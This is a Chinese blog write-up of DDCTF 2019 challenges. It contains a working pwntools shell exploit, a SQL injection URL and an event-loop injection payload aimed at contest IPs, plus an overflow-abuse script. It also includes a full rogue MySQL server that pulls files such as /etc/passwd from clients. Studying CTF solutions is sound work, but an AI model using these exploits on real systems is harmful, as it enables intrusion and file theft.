ddctf2019-write-up

misc

真-签到题

直接公告

MulTzor

拿到题目都是可见字符0-f,考虑 hex decode。解码后还是乱码,尝试各种编码后无果,回去再看题目,MulTzor,试了下xortool

1
2
3
4
5
6
7
8
9
10
import os

with open('hex.txt') as f:
s = f.read()
s = s.decode('hex')
with open('bin','wb') as p:
p.write(s)


os.system('xortool bin -c 20')

[PWN] strike

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import * 
context.log_level="debug"

#t = remote('192.168.5.148', 9999)
t = remote('116.85.48.105', 5005)
#raw_input()
t.sendlineafter('username: ', cyclic(60))
t.recvuntil('oaaa')
t.recv(4)
addr__IO_2_1_stdout_ = u32(t.recv(4))
log.info(hex(addr__IO_2_1_stdout_))
libc = ELF('libc.so.6')
magic = addr__IO_2_1_stdout_ - libc.symbols['_IO_2_1_stdout_'] + 0x5f065
log.info(hex(magic))
t.sendlineafter('password: ', '-1')
#raw_input()
payload = p32(magic) * 17 + '\x00'
#payload = cyclic(68) + p32(magic)
t.sendafter(': ',payload)
#raw_input()
t.interactive()

直接覆盖为 one_gadget 会崩溃。覆盖保存ecx的位置最低位为\x00,这样原本ret的地方就会上移,但是因为只覆盖了最低位,所以会很大概率落到我们的前面的输入里,只要在栈里布置一片one_gadget,即可get shell。

1
2
lea     esp, [ecx-4]
retn

存ecx的位置为我们输入的one_gadget位置,可以盲打

Wireshark

直接追踪http流发现有上传的图片,拿到后发现有个箭头,改高度后拿到key。

然后发现直接不是 flag,接着追踪http,发现还有一个图片

然后解密,中间部分直接unhex

联盟决策大会

1
2
3
4
5
6
a1(x-2)(x-4)/(1-2)(1-4)+a2(x-1)(x-4)/(2-1)(2-4)+a4(x-1)(x-2)/(4-1)(4-2)
化简为 f(x)=ax^2+bx+c1 c1为密钥
第二组同理,获取c2
c1与c2需要模q
c1(x-1)/(1-2)+c2(x-2)(2-1)
化简为 f(x)=ax^2+bx+c c为flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#coding=utf-8
p = 0xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7
a1 = 0x30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A
a2 = 0x1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7
a4 = 0x1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC
b3 = 0x300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA
b4 = 0x1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9
b5 = 0x9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45

a = (a1 * 8 - a2 * 6 + a4) / 3

b = b3 * 10 - b4 * 15 + b5 * 6

print hex(a * 2 - (b % p))[2:-1].decode('hex')

web

滴~

两次 base64 decode 后再 hex 解码可以读到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

有个链接很可疑,点进去看看没啥可以利用的点,然后翻起它文章,发现了这个 .practice.txt.swp

包含一下,读源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>

Upload-IMG

这个和我之前做个的 upload-lab 很像 地址 ,博客里有利用脚本。

但是好几次上传失败,换一个图片重新上传,第一次失败,然后 xxd 看了一下,发现少了个phpinfo() 少了个i ,再用脚本生成一次就OK。

homebrew event loop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# -*- encoding: utf-8 -*- 
# written in python 2.7
__author__ = 'garzon'

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f66147e857'

def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored

def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

class RollBackException: pass

def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

# handlers/functions below --------------------------------------

def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html

def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':

source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

for line in source:
if bool_download_source != 'True':
html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')

def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume

def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'

def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')

if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

有查阅源码的功能,python 实现的,八成就是ssti 模版注入了,那就先分析逻辑吧。拿到 flag 需要 buy_handler之后再get_flag_handle buy_handler函数把 func:consume_point 加进了event 。antion 可控,参数用 # 注释

trigger_event 接收一个参数 payload

action:trigger_event%23;action:buy;10%23action:get_flag;

欢迎报名DDCTF

一开始没啥思路,后来放出 hint 做出来的。以为是 sql 注入。。在备注框那边有 xss 成功后有提示,先读下当前页面的源码。

再读 admin.php ,为了方便直接在 xss 平台做了。

里面几个 php 页面都试了一下,结合 hint 在 query_aIeMu0FUoVrW0NWPHbN6z4xh.php 这个路径发现可以宽字节注入

Payload:

<http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%df%27%20union%20select%201,2,3,4,ctf_value%20from%20ctfdb.ctf_fhmHRPL5%23>

大吉大利,今晚吃鸡~

又是商城买东西系列,顺便吐槽下国赛线下赛全是商城系列。这个题和之前做过护网挺像的,看了下 cookie 是 go写的

先试了下 int64 发现不对,再试了下 int32 发现可以成功买票。

2 ^ 32 = 4294967296

然后就来到了这里

这边卡了一会,首先移除我自己试了下发现不行,提示不能移除自己。然后试了下注入也不行,然后自己注册了一个小号,可以移除,那思路就明确了。小号注册,溢出后购买门票,获得入场券,大号移除 100 次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import json
import re
import random
boss = requests.Session()
boss.get("http://117.51.147.155:5050/ctf/api/login?name=pop&password=12345678")
cnt = 0
i = 0
while(1):
i += 1
staff = requests.Session()
reg = staff.get("http://117.51.147.155:5050/ctf/api/register?name=xxxx{}&password=12345678".format(i))
buyer = staff.get("http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967299")
bill_id = json.loads(buyer.text)
bill_id = bill_id['data'][0]['bill_id']
buy2_res = staff.get("http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={}".format(bill_id))
token_res = staff.get("http://117.51.147.155:5050/ctf/api/search_ticket")
js = json.loads(token_res.text)['data'][0]
id = js['id']
ticket = js['ticket']
print id,ticket
boss.get("http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}".format(id,ticket))
flag = boss.get("http://117.51.147.155:5050/ctf/api/get_flag").text
if "DDCTF" in flag:
print flag
break
cnt += 1
print cnt

mysql弱口令

首先在服务器上部署 agent.py ,然后才能扫描。有两个坑点,一是服务器上必须有 mysqld 这个进程,二是服务器必须支持 netstat -tlnp ,这个命令要不它获取不到参数会报错。我第一次在 vps 部署访问后会报错,排查了好久才发现这个问题,然后阿里云的服务器不行,不知道是不是云盾的关系。这个进程的话好说,在服务器打开的交互 python ,然后在 tmp_dic = {‘local_address’: Local_Address, ‘Process_name’: Process_name.replace(‘python’,’mysqld’)},这样就OK了。

这道题考察了前段时间爆出来的 mysql 伪造服务端读取任意文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
#!/usr/bin/env python
#coding: utf8


import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers



PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)

filelist = (
'/etc/passwd',
)


#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return

if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)


class LastPacket(Exception):
pass


class OutOfOrder(Exception):
pass


class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

result = "{0}{1}".format(
header,
self.payload
)
return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]

return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)) )
)

self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)

def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []

if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')

filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)

if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1

elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()


class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)

if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()

self.listen(5)

def handle_accept(self):
pair = self.accept()

if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)


z = mysql_listener()
# daemonize()
asyncore.loop()

先读一下 /etc/passwd 验证一下。

然后读 root 的.bash_history ,看看有什么发现 /home/dc2-user/ctf_web_2/app/main/views.py

接着读 views.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from flask import jsonify, request
from struct import unpack
from socket import inet_aton
import MySQLdb
from subprocess import Popen, PIPE
import re
import os
import base64


# flag in mysql curl@localhost database:security table:flag

def weak_scan():

agent_port = 8123
result = []
target_ip = request.args.get('target_ip')
target_port = request.args.get('target_port')
if not target_ip or not target_port:
return jsonify({"code": 404, "msg": "参数不能为空", "data": []})
if not target_port.isdigit():
return jsonify({"code": 404, "msg": "端口必须为数字", "data": []})
if not checkip(target_ip):
return jsonify({"code": 404, "msg": "必须输入ip", "data": []})
if is_inner_ipaddress(target_ip):
return jsonify({"code": 404, "msg": "ip不能是内网ip", "data": []})
tmp_agent_result = get_agent_result(target_ip, agent_port)
if not tmp_agent_result[0] == 1:
tem_result = tmp_agent_result[1]
result.append(base64.b64encode(tem_result))
return jsonify({"code": 404, "msg": "服务器未开启mysql", "data": result})

tmp_result =mysql_scan(target_ip, target_port)

if not tmp_result['Flag'] == 1:
tem_result = tmp_agent_result[1]
result.append(base64.b64encode(tem_result))
return jsonify({"code": 0, "msg": "未扫描出弱口令", "data": []})
else:
tem_result = tmp_agent_result[1]
result.append(base64.b64encode(tem_result))
result.append(tmp_result)
return jsonify({"code": 0, "msg": "服务器存在弱口令", "data": result})


def checkip(ip):
p = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
if p.match(ip):
return True
else:
return False

def curl(url):
tmp = Popen(['curl', url, '-L', '-o', 'content.log'], stdout=PIPE)
tmp.wait()
result = tmp.stdout.readlines()
return result

def get_agent_result(ip, port):

str_port = str(port)
url = 'http://'+ip + ':' + str_port
curl(url)
if not os.path.exists('content.log'):
return (0, '未开启agent')
with open('content.log') as f1:
tmp_list = f1.readlines()
response = ''.join(tmp_list)
os.remove('content.log')
if not 'mysqld' in response:
return (0, response)
else:
return (1, response)


def ip2long(ip_addr):

return unpack("!L", inet_aton(ip_addr))[0]

def is_inner_ipaddress(ip):

ip = ip2long(ip)
return ip2long('127.0.0.0') >> 24 == ip >> 24 or \
ip2long('10.0.0.0') >> 24 == ip >> 24 or \
ip2long('172.16.0.0') >> 20 == ip >> 20 or \
ip2long('192.168.0.0') >> 16 == ip >> 16

def mysql_scan(ip, port):

port = int(port)
weak_user = ['root', 'admin', 'mysql']
weak_pass = ['', 'mysql', 'root', 'admin', 'test']
Flag = 0
for user in weak_user:
for pass_wd in weak_pass:
if mysql_login(ip,port, user, pass_wd):
Flag = 1
tmp_dic = {'weak_user': user, 'weak_passwd': pass_wd, 'Flag': Flag}
return tmp_dic
else:
tmp_dic = {'weak_user': '', 'weak_passwd': '', 'Flag': Flag}
return tmp_dic



def mysql_login(host, port, username, password):
'''mysql login check'''

try:
conn = MySQLdb.connect(
host=host,
user=username,
passwd=password,
port=port,
connect_timeout=1,
)
print ("[H:%s P:%s U:%s P:%s]Mysql login Success" % (host,port,username,password),"Info")
conn.close()
return True
except MySQLdb.Error, e:

print ("[H:%s P:%s U:%s P:%s]Mysql Error %d:" % (host,port,username,password,e.args[0]),"Error")
return False

发现有 flag 的提示,直接读。

1
/var/lib/mysql/security/flag.ibd

Reverse

Windows Reverse1

upx 壳,kali 下直接 upx -d 即可脱掉,然后分析。把我们的输入值的地址赋值给 ecx,所以 od 里调的时候重点观察下 ecx 值

调试发现只是把我们的输入的字符做了一个映射。

op

1
2
3
4
5
6
7
fake="DDCTF{reverseME}"
s=""
j=0
for i in fake:
s+=chr(158-ord(i))
print s
#DDCTF{ZZ[JX#,9(9,+9QY!}

Windows Reverse2

查壳发现是 ASPack 2.12 -> Alexey Solodovnikov,查了一下这个脱壳的方法。一开始涂省事下了个脱壳机,发现不能用。。那就自己 esp 手撸吧,这个壳其实挺好脱的。

先挂上 od 然后在第一个 call 的时候注意下 esp 的值,下个硬断点。

dd 0012FFA4

单步几次就到了 oep 了然后把程序 dump 出来。

首先有个 check ,只能输入 0-9,A-F。

然后就是 先 hex 解密再 base64 加密

Confused

首先定位到关键函数,查看交叉引用定位到 check

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall sub_1000011D0(__int64 a1)
{
char v2; // [rsp+20h] [rbp-C0h]
__int64 v3; // [rsp+D8h] [rbp-8h]

v3 = a1;
memset(&v2, 0, 0xB8uLL);
sub_100001F60((__int64)&v2, a1);
return (unsigned int)sub_100001F00(&v2);
}

跟进去 sub_100001F60

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall sub_100001F60(__int64 a1, __int64 a2)
{
*(_DWORD *)a1 = 0;
*(_DWORD *)(a1 + 4) = 0;
*(_DWORD *)(a1 + 8) = 0;
*(_DWORD *)(a1 + 12) = 0;
*(_DWORD *)(a1 + 16) = 0;
*(_DWORD *)(a1 + 176) = 0;
*(_BYTE *)(a1 + 32) = -16;
*(_QWORD *)(a1 + 40) = sub_100001D70;
*(_BYTE *)(a1 + 48) = -15;
*(_QWORD *)(a1 + 56) = sub_100001A60;
*(_BYTE *)(a1 + 64) = -14;
*(_QWORD *)(a1 + 72) = sub_100001AA0;
*(_BYTE *)(a1 + 80) = -12;
*(_QWORD *)(a1 + 88) = sub_100001CB0;
*(_BYTE *)(a1 + 96) = -11;
*(_QWORD *)(a1 + 104) = sub_100001CF0;
*(_BYTE *)(a1 + 112) = -13;
*(_QWORD *)(a1 + 120) = sub_100001B70;
*(_BYTE *)(a1 + 128) = -10;
*(_QWORD *)(a1 + 136) = sub_100001B10;
*(_BYTE *)(a1 + 144) = -9;
*(_QWORD *)(a1 + 152) = sub_100001D30;
*(_BYTE *)(a1 + 160) = -8;
*(_QWORD *)(a1 + 168) = sub_100001C60;
qword_100003F58 = malloc(0x400uLL);
return __memcpy_chk((char *)qword_100003F58 + 48, a2, 18LL, -1LL);
}

vm_cpu 结构体进行初始化,前5个四字节的是寄存器,后几个是绑定虚拟机字节码和字节码对应的函数

可以切换到 structures 窗口按 insert 创建一个结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall sub_100001F60(vm_cpu *a1, __int64 a2)
{
a1->vm_r1 = 0;
a1->vm_r2 = 0;
a1->vm_r3 = 0;
a1->vm_r4 = 0;
a1->vm_r5 = 0;
*(_DWORD *)&a1->buff = 0;
LOBYTE(a1->opcode_f0) = 0xF0u;
a1->mov_reg_imm = (__int64)mov_reg_imm;
LOBYTE(a1->opcode_f1) = 0xF1u;
a1->xor_r1_r2 = (__int64)xor_r1_r2;
LOBYTE(a1->opcode_f2) = 0xF2u;
a1->cmp_r1_imm = (__int64)cmp_r1_imm;
LOBYTE(a1->opcode_f4) = 0xF4u;
a1->add_r1_r2 = (__int64)add_r1_r2;
LOBYTE(a1->opcode_f5) = 0xF5u;
a1->dec_r1_r2 = (__int64)dec_r1_r2;
LOBYTE(a1->opcode_f3) = 0xF3u;
a1->nop = (__int64)nop;
LOBYTE(a1->opcode_f6) = 0xF6u;
a1->jz_imm = (__int64)jz_imm;
LOBYTE(a1->opcode_f7) = 0xF7u;
a1->mov_buff_imm = (__int64)mov_buff_imm;
LOBYTE(a1->opcode_f8) = 0xF8u;
a1->shift_r1_2 = (__int64)shift_r1_2;
qword_100003F58 = malloc(0x400uLL);
return __memcpy_chk((char *)qword_100003F58 + 48, a2, 18LL, -1LL);

shift_r1_2 里面调用的子函数代码如下,很显然是进行了凯撒加密,传入的参数a2为2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall sub_100001B80(char a1, int a2)
{
bool v3; // [rsp+7h] [rbp-11h]
bool v4; // [rsp+Fh] [rbp-9h]
char v5; // [rsp+17h] [rbp-1h]

v4 = 0;
if ( a1 >= 65 )
v4 = a1 <= 90;
if ( v4 )
{
v5 = (a2 + a1 - 65) % 26 + 65;
}
else
{
v3 = 0;
if ( a1 >= 97 )
v3 = a1 <= 122;
if ( v3 )
v5 = (a2 + a1 - 97) % 26 + 97;
else
v5 = a1;
}
return (unsigned int)v5;

再看下最后一个函数

1
2
3
4
5
6
7
8
__int64 __fastcall sub_100001F00(vm_cpu *a1)
{
a1->vm_eip = (__int64)&loc_100001980 + 4;
while ( *(unsigned __int8 *)a1->vm_eip != 243 )
sub_100001E50(a1);
free(qword_100003F58);
return *(unsigned int *)&a1->buff;
}

可以看到此函数初始化了 vm_eip 将其指向(__int64)&loc_100001980+4
既然我们已经了解了这些 opcode 的功能,可以直接在 idapython 里写一句脚本出来了

1
"".join([chr(0x41+(int(i[-2:],16)+2-0x41)%26) if int(i[-2:],16)<0x61 else chr(0x61+(int(i[-2:],16)+2-0x61)%26) for i in re.findall("f010..",get_bytes(0x100001984,3000).encode("hex"))])

obfuscating macros

直接远程调试,感觉纯逆向有点难了。先把远程调试到环境搭建好。

在 sub_4069D6 中所有关于我们输入的参数下断点,我先在传参这边下个断,找到我们的输入在栈中的地址

然后 ida 会断在这里,输入的值是 ABCD

然后接着调试,一路 f8 ,在调试过程中发现它会把我们的值转为 0xABCD

继而我们推测下一个函数会对 0xABCD 进一步处理或者与一些值进行比较,删除所有其他的断点,在 0xABCD 处下内存读写断点,然后 f9 运行,就触发了硬件断点

第一次test al,al是检测输入是否为空,再按f9触发第二次断点,会发现如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0000000000405FA3 loc_405FA3:
.text:0000000000405FA3 mov rax, [rbp+var_220]
.text:0000000000405FAA lea rdx, [rax+1]
.text:0000000000405FAE mov [rbp+var_220], rdx
.text:0000000000405FB5 movzx edx, byte ptr [rax]
.text:0000000000405FB8 mov rax, [rbp+var_210]
.text:0000000000405FBF movzx eax, byte ptr [rax]
.text:0000000000405FC2 mov ecx, eax
.text:0000000000405FC4 mov eax, edx
.text:0000000000405FC6 sub ecx, eax
.text:0000000000405FC8 mov eax, ecx
.text:0000000000405FCA mov edx, eax
.text:0000000000405FCC mov rax, [rbp+var_210]
.text:0000000000405FD3 mov [rax], dl
.text:0000000000405FD5 mov rax, [rbp+var_280]
.text:0000000000405FDC test rax, rax
.text:0000000000405FDF jnz short loc_

f8 到 0000000000405FC6 处会发现他拿我们的0xAB与一个 0x79 进行了对比,这样的话我们只需要在sub这里下一个断点,一路f9就好了
因为我们输入了ABCD,所以他对比两次就会退出,也就是说他一开始没有验证长度,直接进行了对比,只要对比到不同就退出,这样我们就可以每次多输入两个字符,并且这两个字符只能是 0 到 9 和 A 到 F,然后取出新的对比的字符再多输入两个字符直到他不在对比就得到 flag 了

文章作者: Carl Star
文章链接: http://carlstar.club/2019/04/22/wp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo